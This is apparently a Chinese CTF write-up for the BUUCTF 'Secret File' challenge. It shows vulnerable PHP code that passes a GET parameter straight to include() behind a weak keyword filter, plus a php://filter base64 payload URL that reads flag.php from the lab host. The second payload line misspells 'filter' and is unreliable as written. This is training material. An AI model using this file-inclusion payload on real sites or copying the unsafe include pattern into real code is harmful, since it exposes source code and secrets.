BUUCTF[极客大挑战2019]Secret File

查看源码:

出现了两个跳转。

Archive_room.php

end.php

输入flag.php

没有,我们分别抓包看看。

出现了新得页面,secr3t.php

访问发现:

哦?代码审计吗

<?php
    highlight_file(__FILE__);
    // highlight_file() 函数对文件进行语法高亮显示。    
    error_reporting(0);
    // 关闭错误报告
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    //过滤字符: ../ tp input data 则输出 Oh no!
        echo "Oh no!";
        exit();
    }
    include($file); 
    //文件包含
//flag放在了flag.php里
?>

没有过滤php file 伪协议,我们试试payload:

http://617cc1f4-3c61-43bf-9171-fa54118f3fa7.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解密得:

和之前得文件包含题型一样,只不过这回存在过滤字符。

payload: ?file=php://flter/read=convert.base64-encode/resource=flag.php

ok!

 


 


版权声明:本文为weixin_45253622原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。